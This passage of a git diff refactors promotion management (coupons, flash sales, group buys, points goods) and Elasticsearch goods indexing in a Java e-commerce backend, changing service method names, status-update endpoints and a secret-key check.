getProgress() { Map map = (Map) cache.get(CachePrefix.INIT_INDEX_PROCESS.getPrefix()); if (map == null) { - return null; + return Collections.emptyMap(); } Boolean flag = (Boolean) cache.get(CachePrefix.INIT_INDEX_FLAG.getPrefix()); map.put("flag", Boolean.TRUE.equals(flag) ? 1 : 0); @@ -176,24 +175,24 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements public void addIndex(EsGoodsIndex goods) { try { //分词器分词 - AnalyzeRequest analyzeRequest = AnalyzeRequest.withIndexAnalyzer(getIndexName(), "ik_max_word", goods.getGoodsName()); - AnalyzeResponse analyze = client.indices().analyze(analyzeRequest, RequestOptions.DEFAULT); - List tokens = analyze.getTokens(); +// AnalyzeRequest analyzeRequest = AnalyzeRequest.withIndexAnalyzer(getIndexName(), "ik_max_word", goods.getGoodsName()); +// AnalyzeResponse analyze = client.indices().analyze(analyzeRequest, RequestOptions.DEFAULT); +// List tokens = analyze.getTokens(); - if (goods.getAttrList() != null && !goods.getAttrList().isEmpty()) { - //保存分词 - for (EsGoodsAttribute esGoodsAttribute : goods.getAttrList()) { - wordsToDb(esGoodsAttribute.getValue()); - } - } - //分析词条 - for (AnalyzeResponse.AnalyzeToken token : tokens) { - //保存词条进入数据库 - wordsToDb(token.getTerm()); - } +// if (goods.getAttrList() != null && !goods.getAttrList().isEmpty()) { +// //保存分词 +// for (EsGoodsAttribute esGoodsAttribute : goods.getAttrList()) { +// wordsToDb(esGoodsAttribute.getValue()); +// } +// } +// //分析词条 +// for (AnalyzeResponse.AnalyzeToken token : tokens) { +// //保存词条进入数据库 +// wordsToDb(token.getTerm()); +// } //生成索引 goodsIndexRepository.save(goods); - } catch (IOException e) { + } catch (Exception e) { log.error("为商品[" + goods.getGoodsName() + "]生成索引异常", e); } } @@ -337,11 +336,11 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void updateEsGoodsIndex(String id, BasePromotion promotion, String key, Double price) { + public void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price) { EsGoodsIndex goodsIndex = findById(id); if (goodsIndex != null) { //如果有促销活动开始,则将促销金额写入 - if (promotion.getPromotionStatus().equals(PromotionStatusEnum.START.name()) && price != null) { + if (price != null) { goodsIndex.setPromotionPrice(price); } else { //否则促销金额为商品原价 @@ -354,12 +353,30 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } } + /** + * 更新商品索引的促销信息 + * + * @param ids skuId集合 + * @param promotion 促销信息 + * @param key 促销信息的key + */ @Override - public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotion promotion, String key) { + public void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key) { + for (String id : ids) { + this.updateEsGoodsIndexPromotions(id, promotion, key, null); + } + } + + @Override + public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key) { if (promotionGoodsList != null) { //循环更新 促销商品索引 for (PromotionGoods promotionGoods : promotionGoodsList) { - updateEsGoodsIndex(promotionGoods.getSkuId(), promotion, key, promotionGoods.getPrice()); + Double price = null; + if (promotion instanceof Seckill || promotion instanceof Pintuan) { + price = promotionGoods.getPrice(); + } + this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key, price); } } @@ -372,7 +389,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 促销信息的key */ @Override - public void updateEsGoodsIndexAllByList(BasePromotion promotion, String key) { + public void updateEsGoodsIndexAllByList(BasePromotions promotion, String key) { List goodsIndices = new ArrayList<>(); //如果storeId不为空,则表示是店铺活动 if (promotion.getStoreId() != null) { @@ -463,11 +480,15 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements if (promotionMap != null && !promotionMap.isEmpty()) { //促销不为空则进行清洗 for (Map.Entry entry : promotionMap.entrySet()) { - BasePromotion promotion = (BasePromotion) entry.getValue(); + BasePromotions promotion = (BasePromotions) entry.getValue(); //判定条件为活动已结束 - if (promotion.getEndTime().getTime() > DateUtil.date().getTime()) { + if (promotion.getEndTime().getTime() < DateUtil.date().getTime()) { + if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { + goodsIndex.setPromotionPrice(goodsIndex.getPrice()); + } promotionMap.remove(entry.getKey()); } + } } } @@ -524,7 +545,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements List promotionIds = new ArrayList<>(); //写入促销id for (String key : keyCollect) { - BasePromotion promotion = (BasePromotion) promotionMap.get(key); + BasePromotions promotion = (BasePromotions) promotionMap.get(key); promotionIds.add(promotion.getId()); } return promotionIds; @@ -554,7 +575,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 关键字 * @param promotion 活动 */ - private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotion promotion) { + private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { log.info("修改商品活动索引"); log.info("商品索引: {}", goodsIndex); log.info("关键字: {}", key); @@ -567,7 +588,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements promotionMap = goodsIndex.getPromotionMap(); } //如果活动已结束 - if (promotion.getPromotionStatus().equals(PromotionStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionStatusEnum.CLOSE.name())) { + if (promotion.getPromotionStatus().equals(PromotionsStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionsStatusEnum.CLOSE.name())) { //如果存在活动 if (promotionMap.containsKey(key)) { //删除活动 diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 6dedfa97..11764356 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -34,6 +34,7 @@ import org.elasticsearch.search.aggregations.bucket.terms.Terms; import org.elasticsearch.search.sort.SortBuilders; import org.elasticsearch.search.sort.SortOrder; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Pageable; import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; @@ -70,6 +71,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { * ES */ @Autowired + @Qualifier("elasticsearchRestTemplate") private ElasticsearchRestTemplate restTemplate; /** * 缓存 @@ -145,6 +147,17 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { return restTemplate.multiGet(build, EsGoodsIndex.class, restTemplate.getIndexCoordinatesFor(EsGoodsIndex.class)); } + /** + * 根据id获取商品索引 + * + * @param id 商品skuId + * @return 商品索引 + */ + @Override + public EsGoodsIndex getEsGoodsById(String id) { + return this.restTemplate.get(id, EsGoodsIndex.class); + } + /** * 转换搜索结果为聚合商品展示信息 * diff --git a/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java b/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java index 691da042..32a69b7a 100644 --- a/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java +++ b/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java @@ -7,6 +7,7 @@ import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.OrderItem; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; @@ -150,4 +151,25 @@ public class PageUtil { return list.subList(fromIndex, toIndex); } } + + /** + * 转换分页类型 + * + * @param originPage 原分页 + * @param records 新分页数据 + * @param 新类型 + * @return 新类型分页 + */ + public static IPage convertPage(IPage originPage, List records) { + IPage resultPage = new Page<>(); + if (originPage != null) { + resultPage.setCurrent(originPage.getCurrent()); + resultPage.setPages(originPage.getPages()); + resultPage.setTotal(originPage.getTotal()); + resultPage.setSize(originPage.getSize()); + resultPage.setRecords(records); + } + return resultPage; + } + } diff --git a/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java b/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java index 73e3b7d6..651e4ce5 100644 --- a/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java +++ b/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java @@ -14,6 +14,14 @@ public enum GoodsTagsEnum { * "更新商品索引" */ UPDATE_GOODS_INDEX("更新商品索引"), + /** + * "更新商品索引促销信息" + */ + UPDATE_GOODS_INDEX_PROMOTIONS("更新商品索引促销信息"), + /** + * "更新商品索引促销信息" + */ + DELETE_GOODS_INDEX_PROMOTIONS("更新商品索引促销信息"), /** * "更新商品索引部分字段" diff --git a/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java b/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java index c65ac807..8b069ccc 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java @@ -1,6 +1,8 @@ package cn.lili.controller.other; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -57,7 +59,8 @@ public class CustomWordsController { return ""; } - if (!setting.getSettingValue().equals(secretKey)) { + JSONObject jsonObject = JSONUtil.parseObj(setting.getSettingValue()); + if (!secretKey.equals(jsonObject.get("secretKey"))) { throw new ServiceException(ResultCode.CUSTOM_WORDS_SECRET_KEY_ERROR); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java index d912fd83..635d9ff1 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java @@ -7,7 +7,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; import cn.lili.modules.promotion.service.CouponActivityService; import cn.lili.mybatis.util.PageUtil; @@ -19,6 +18,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 优惠券活动 * @@ -50,8 +51,10 @@ public class CouponActivityManagerController { @PostMapping @PutMapping(consumes = "application/json", produces = "application/json") public ResultMessage addCouponActivity(@RequestBody(required = false) CouponActivityDTO couponActivityDTO) { - couponActivityDTO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - return ResultUtil.data(couponActivityService.addCouponActivity(couponActivityDTO)); + if (couponActivityService.savePromotions(couponActivityDTO)) { + return ResultUtil.data(couponActivityDTO); + } + return ResultUtil.error(ResultCode.COUPON_ACTIVITY_SAVE_ERROR); } @ApiOperation(value = "关闭优惠券活动") @@ -60,7 +63,7 @@ public class CouponActivityManagerController { }) @DeleteMapping("/{id}") public ResultMessage updateStatus(@PathVariable String id) { - if (couponActivityService.updateCouponActivityStatus(id, PromotionStatusEnum.END)) { + if (couponActivityService.updateStatus(Collections.singletonList(id), null, null)) { return ResultUtil.success(ResultCode.SUCCESS); } throw new ServiceException(ResultCode.ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java index a178d83e..f2ed20ee 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java @@ -9,7 +9,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -44,13 +43,13 @@ public class CouponManagerController { @GetMapping public ResultMessage> getCouponList(CouponSearchParams queryParam, PageVO page) { queryParam.setStoreId("platform"); - return ResultUtil.data(couponService.getCouponsByPageFromMongo(queryParam, page)); + return ResultUtil.data(couponService.pageVOFindAll(queryParam, page)); } @ApiOperation(value = "获取优惠券详情") @GetMapping("/{couponId}") public ResultMessage getCoupon(@PathVariable String couponId) { - CouponVO coupon = couponService.getCouponDetailFromMongo(couponId); + CouponVO coupon = couponService.getDetail(couponId); return ResultUtil.data(coupon); } @@ -58,24 +57,24 @@ public class CouponManagerController { @PostMapping(consumes = "application/json", produces = "application/json") public ResultMessage addCoupon(@RequestBody CouponVO couponVO) { this.setStoreInfo(couponVO); - couponService.add(couponVO); + couponService.savePromotions(couponVO); return ResultUtil.data(couponVO); } @ApiOperation(value = "修改优惠券") @PutMapping(consumes = "application/json", produces = "application/json") public ResultMessage updateCoupon(@RequestBody CouponVO couponVO) { + this.setStoreInfo(couponVO); Coupon coupon = couponService.getById(couponVO.getId()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - couponService.updateCoupon(couponVO); + couponService.updatePromotions(couponVO); return ResultUtil.data(coupon); } @ApiOperation(value = "修改优惠券状态") @PutMapping("/status") - public ResultMessage updateCouponStatus(String couponIds, String promotionStatus) { + public ResultMessage updateCouponStatus(String couponIds, Long startTime, Long endTime) { String[] split = couponIds.split(","); - if (couponService.updateCouponStatus(Arrays.asList(split), PromotionStatusEnum.valueOf(promotionStatus))) { + if (couponService.updateStatus(Arrays.asList(split), startTime, endTime)) { return ResultUtil.success(ResultCode.COUPON_EDIT_STATUS_SUCCESS); } throw new ServiceException(ResultCode.COUPON_EDIT_STATUS_ERROR); @@ -84,9 +83,7 @@ public class CouponManagerController { @ApiOperation(value = "批量删除") @DeleteMapping(value = "/{ids}") public ResultMessage delAllByIds(@PathVariable List ids) { - for (String id : ids) { - couponService.deleteCoupon(id); - } + couponService.removePromotions(ids); return ResultUtil.success(); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java index 61206531..ef9d7c2e 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java @@ -5,7 +5,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 管理端,满额活动接口 * @@ -26,14 +28,15 @@ import org.springframework.web.bind.annotation.*; @Api(tags = "管理端,满额活动接口") @RequestMapping("/manager/promotion/fullDiscount") public class FullDiscountManagerController { + @Autowired private FullDiscountService fullDiscountService; @ApiOperation(value = "获取满优惠列表") @GetMapping - public ResultMessage> getCouponList(FullDiscountSearchParams searchParams, PageVO page) { + public ResultMessage> getCouponList(FullDiscountSearchParams searchParams, PageVO page) { page.setNotConvert(true); - return ResultUtil.data(fullDiscountService.getFullDiscountByPageFromMongo(searchParams, page)); + return ResultUtil.data(fullDiscountService.pageFindAll(searchParams, page)); } @ApiOperation(value = "获取满优惠详情") @@ -42,20 +45,14 @@ public class FullDiscountManagerController { return ResultUtil.data(fullDiscountService.getFullDiscount(id)); } - @ApiOperation(value = "获取满优惠商品列表") - @GetMapping("/goods/{id}") - public ResultMessage getCouponGoods(@PathVariable String id) { - return ResultUtil.data(fullDiscountService.getFullDiscount(id)); - } - @ApiOperation(value = "修改满额活动状态") @ApiImplicitParams({ @ApiImplicitParam(name = "id", value = "满额活动ID", required = true, paramType = "path"), @ApiImplicitParam(name = "promotionStatus", value = "满额活动状态", required = true, paramType = "path") }) - @PutMapping("/status/{id}/{promotionStatus}") - public ResultMessage updateCouponStatus(@PathVariable String id, @PathVariable String promotionStatus) { - if (fullDiscountService.updateFullDiscountStatus(id, PromotionStatusEnum.valueOf(promotionStatus))) { + @PutMapping("/status/{id}") + public ResultMessage updateCouponStatus(@PathVariable String id, Long startTime, Long endTime) { + if (fullDiscountService.updateStatus(Collections.singletonList(id), startTime, endTime)) { return ResultUtil.success(ResultCode.SUCCESS); } return ResultUtil.error(ResultCode.ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java index 0b6f305f..806115d6 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java @@ -6,6 +6,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; @@ -43,7 +44,7 @@ public class KanJiaActivityGoodsManagerController { @ApiOperation(value = "获取砍价活动分页") @GetMapping - public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { + public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page)); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java index f87c5655..4c5a1f0a 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java @@ -7,7 +7,7 @@ import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -19,7 +19,7 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; -import java.util.Date; +import java.util.Arrays; /** * 管理端,平台拼团接口 @@ -38,46 +38,35 @@ public class PintuanManagerController { @GetMapping(value = "/{id}") @ApiOperation(value = "通过id获取") - public ResultMessage get(@PathVariable String id) { - Pintuan pintuan = pintuanService.getPintuanByIdFromMongo(id); + public ResultMessage get(@PathVariable String id) { + PintuanVO pintuan = pintuanService.getPintuanVO(id); return ResultUtil.data(pintuan); } @GetMapping @ApiOperation(value = "根据条件分页查询拼团活动列表") - public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { - IPage pintuanByPageFromMongo = pintuanService.getPintuanByPageFromMongo(queryParam, pageVo); + public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { + IPage pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo); return ResultUtil.data(pintuanByPageFromMongo); } @GetMapping("/goods/{pintuanId}") @ApiOperation(value = "根据条件分页查询拼团活动商品列表") - public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { + public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setPromotionId(pintuanId); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - IPage promotionGoods = promotionGoodsService.getPromotionGoods(searchParams, pageVo); - return ResultUtil.data(promotionGoods); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } - @PutMapping("/open/{pintuanId}") - @ApiOperation(value = "手动开启拼团活动") - public ResultMessage openPintuan(@PathVariable String pintuanId, Long startTime, Long endTime) { - if (pintuanService.openPintuan(pintuanId, new Date(startTime), new Date(endTime))) { + @PutMapping("/status/{pintuanIds}") + @ApiOperation(value = "操作拼团活动状态") + public ResultMessage openPintuan(@PathVariable String pintuanIds, Long startTime, Long endTime) { + if (pintuanService.updateStatus(Arrays.asList(pintuanIds.split(",")), startTime, endTime)) { return ResultUtil.success(ResultCode.PINTUAN_MANUAL_OPEN_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_MANUAL_OPEN_ERROR); } - @PutMapping("/close/{pintuanId}") - @ApiOperation(value = "手动关闭拼团活动") - public ResultMessage closePintuan(@PathVariable String pintuanId) { - if (pintuanService.closePintuan(pintuanId)) { - return ResultUtil.success(ResultCode.PINTUAN_MANUAL_CLOSE_SUCCESS); - } - throw new ServiceException(ResultCode.PINTUAN_MANUAL_CLOSE_ERROR); - } - - } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java index db15c51f..ac71016e 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java @@ -1,12 +1,12 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.security.AuthUser; -import cn.lili.common.security.context.UserContext; import cn.lili.common.enums.ResultUtil; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsService; @@ -16,9 +16,9 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; -import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.Objects; /** * 管理端,积分商品接口 @@ -35,40 +35,34 @@ public class PointsGoodsManagerController { @PostMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "添加积分商品") - public ResultMessage addPointsGoods(@RequestBody List pointsGoodsList) { - List collect = new ArrayList<>(); - for (PointsGoodsVO i : pointsGoodsList) { - i.setStoreName(i.getGoodsSku().getStoreName()); - i.setStoreId(i.getGoodsSku().getStoreId()); - collect.add(i); + public ResultMessage addPointsGoods(@RequestBody List pointsGoodsList) { + if (pointsGoodsService.savePointsGoodsBatch(pointsGoodsList)) { + return ResultUtil.success(); } - pointsGoodsService.addPointsGoods(collect); - return ResultUtil.success(); + return ResultUtil.error(ResultCode.POINT_GOODS_ERROR); } @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改积分商品") public ResultMessage updatePointsGoods(@RequestBody PointsGoodsVO pointsGoods) { - AuthUser currentUser = UserContext.getCurrentUser(); - pointsGoods.setStoreId(currentUser.getId()); - pointsGoods.setStoreName("platform"); - pointsGoodsService.updatePointsGoods(pointsGoods); + Objects.requireNonNull(UserContext.getCurrentUser()); + pointsGoodsService.updatePromotions(pointsGoods); return ResultUtil.success(); } - @PutMapping("/{ids}") + @PutMapping("/status/{ids}") @ApiOperation(value = "修改积分商品状态") - public ResultMessage updatePointsGoodsStatus(@PathVariable String ids, String promotionStatus) { - if (pointsGoodsService.updatePointsGoodsPromotionStatus(Arrays.asList(ids.split(",")), promotionStatus)) { + public ResultMessage updatePointsGoodsStatus(@PathVariable String ids, Long startTime, Long endTime) { + if (pointsGoodsService.updateStatus(Arrays.asList(ids.split(",")), startTime, endTime)) { return ResultUtil.success(); } - throw new ServiceException(ResultCode.POINT_GOODS_ERROR); + return ResultUtil.error(ResultCode.POINT_GOODS_ERROR); } @DeleteMapping("/{ids}") @ApiOperation(value = "删除积分商品") public ResultMessage delete(@PathVariable String ids) { - if (pointsGoodsService.deletePointsGoods(Arrays.asList(ids.split(",")))) { + if (pointsGoodsService.removePromotions(Arrays.asList(ids.split(",")))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.POINT_GOODS_ERROR); @@ -76,8 +70,8 @@ public class PointsGoodsManagerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsByPage = pointsGoodsService.getPointsGoodsByPage(searchParams, page); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); return ResultUtil.data(pointsGoodsByPage); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java index fea4cb30..ce31ee2c 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java @@ -3,9 +3,11 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.service.PromotionService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; +import cn.lili.modules.promotion.service.PromotionService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -42,8 +44,12 @@ public class PromotionManagerController { @GetMapping("/{promotionId}/goods") @ApiOperation(value = "获取当前进行中的促销活动商品") - public ResultMessage> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) { - IPage promotionGoods = promotionGoodsService.getCurrentPromotionGoods(promotionType, pageVO); + public ResultMessage> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(promotionId); + searchParams.setPromotionType(promotionType); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + IPage promotionGoods = promotionGoodsService.pageFindAll(searchParams, pageVO); return ResultUtil.data(promotionGoods); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java index 27b02dfa..28e5cae1 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java @@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 管理端,秒杀活动接口 * @@ -40,9 +42,9 @@ public class SeckillManagerController { @ApiOperation(value = "修改秒杀活动") - @PutMapping - public ResultMessage updateSeckill(SeckillVO seckillVO) { - seckillService.modifySeckill(seckillVO); + @PutMapping(consumes = "application/json", produces = "application/json") + public ResultMessage updateSeckill(@RequestBody SeckillVO seckillVO) { + seckillService.updatePromotions(seckillVO); return ResultUtil.data(seckillVO); } @@ -50,44 +52,36 @@ public class SeckillManagerController { @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") @GetMapping(value = "/{id}") public ResultMessage get(@PathVariable String id) { - Seckill seckill = seckillService.getSeckillByIdFromMongo(id); + Seckill seckill = seckillService.getById(id); return ResultUtil.data(seckill); } @ApiOperation(value = "分页查询秒杀活动列表") @GetMapping - public ResultMessage> getAll(SeckillSearchParams param, PageVO pageVo) { - return ResultUtil.data(seckillService.getSeckillByPageFromMongo(param, pageVo)); + public ResultMessage> getAll(SeckillSearchParams param, PageVO pageVo) { + return ResultUtil.data(seckillService.pageFindAll(param, pageVo)); } @ApiOperation(value = "删除一个秒杀活动") @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") @DeleteMapping("/{id}") public ResultMessage deleteSeckill(@PathVariable String id) { - seckillService.deleteSeckill(id); + seckillService.removePromotions(Collections.singletonList(id)); return ResultUtil.success(); } - @ApiOperation(value = "关闭一个秒杀活动") + @ApiOperation(value = "操作秒杀活动状态") @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") - 